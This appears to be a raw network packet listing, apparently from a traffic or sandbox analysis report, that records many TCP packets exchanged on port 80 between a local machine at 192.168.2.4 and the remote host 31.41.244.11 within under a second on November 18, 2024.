Nov 18, 2024 23:04:14.269783974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.269797087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.269812107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.269813061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.269836903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.269874096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.270549059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.270565987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.270581007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.270596981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.270610094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.270612955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.270628929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.270644903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.270643950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.270663977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.270673990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.270679951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.270694971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.270695925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.270710945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.270736933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.270759106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.271514893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.271532059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.271547079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.271563053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.271578074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.271579027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.271595001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.271599054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.271610975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.271626949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.271626949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.271641970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.271656990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.271672010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.271673918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.271673918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.271708012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.272321939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.272339106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.272355080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.272370100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.272381067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.272412062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.272449970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.277538061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.277616978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.277632952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.277708054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.277708054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.277708054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.277708054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.277725935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.277800083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.277800083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.277887106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.277901888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.277918100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.277934074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.278074980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.278074980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.278074980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.278704882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.278786898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.278801918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.278858900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.304260969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.304305077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.304322004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.304336071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.304351091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.304367065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.304476023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.337129116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337150097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337167025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337212086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.337248087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.337264061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337290049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337306023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337322950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337333918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.337376118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.337583065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337598085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337614059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337630033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337644100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.337685108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.337892056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337908983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.337949991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.337985992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.338052988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338068962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338083982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338098049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338113070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338116884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.338126898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338141918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338143110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.338160038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338210106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.338210106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.338572025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338624954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338635921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.338639975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338654995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.338685036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.338713884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.376616001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.376713037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.376764059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.376777887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.376821041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.376852989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.376863003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.376876116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.376890898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.376907110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.376910925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.376931906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.376950979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.377124071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377139091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377156019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377181053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.377211094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.377316952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377330065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377343893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377360106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377373934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.377405882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.377424955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.377641916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377656937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377671003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377684116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377697945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.377707005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377722025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377727985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.377748013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.377777100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.377959013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377974033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.377989054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378017902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.378046989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.378114939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378128052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378170967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.378273964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378289938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378314972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378329992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378334045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.378345966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378360987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378364086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.378398895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.378429890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.378829956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378844976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378865957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378880978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.378892899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.378921986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.379195929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379210949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379225016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379240036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379255056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.379262924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379272938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.379276991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379292011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379308939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379309893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.379337072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379349947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.379381895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.379403114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.379553080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379566908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379590988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379605055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379615068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.379621029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379635096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379638910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.379651070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379664898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379679918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.379684925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.379703045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.379731894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.380300999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380316019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380332947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380347013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380357981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.380386114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.380423069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.380636930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380651951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380666971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380681038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380697012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380697012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.380711079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380722046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.380728006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380742073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380757093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380760908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.380773067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380789995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.380795956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.380819082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.380855083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.381537914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.381578922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.381593943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.381609917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.381623030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.381624937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.381642103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.381656885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.381656885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.381673098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.381688118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.381704092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.381720066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.381724119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.381725073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.381745100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.381768942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.382426977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382441998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382455111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382469893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382488966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.382507086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382509947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.382523060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382536888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.382539988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382555008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382558107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.382571936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382580042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.382586956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382602930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382617950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.382626057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.382643938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.382689953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.383382082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383398056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383411884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383428097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383439064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.383441925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383456945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.383457899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383474112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383487940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383497953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.383503914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383514881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.383519888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383534908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383538961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.383549929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.383573055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.383601904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.384165049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.384201050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.384243965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.397377968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.397393942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.397413015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.397483110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.397790909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.397850990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.397891045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.397907019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.397954941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.398001909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.398017883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.398025036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.398070097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.398098946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.398175001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.398190022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.398237944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.424068928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.424119949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.424134970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.424144030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.424187899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.424321890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.424338102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.424351931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.424380064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.424406052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.456912041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.456996918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457043886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457056999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457067966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457102060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457113028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457150936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457194090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457235098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457253933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457268953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457289934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457304955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457319975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457334995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457357883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457380056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457389116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457425117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457448006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457458973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457477093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457494974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457540989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457540989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457551003 CET	80	49794	31.41.244.11	192.168.2.4
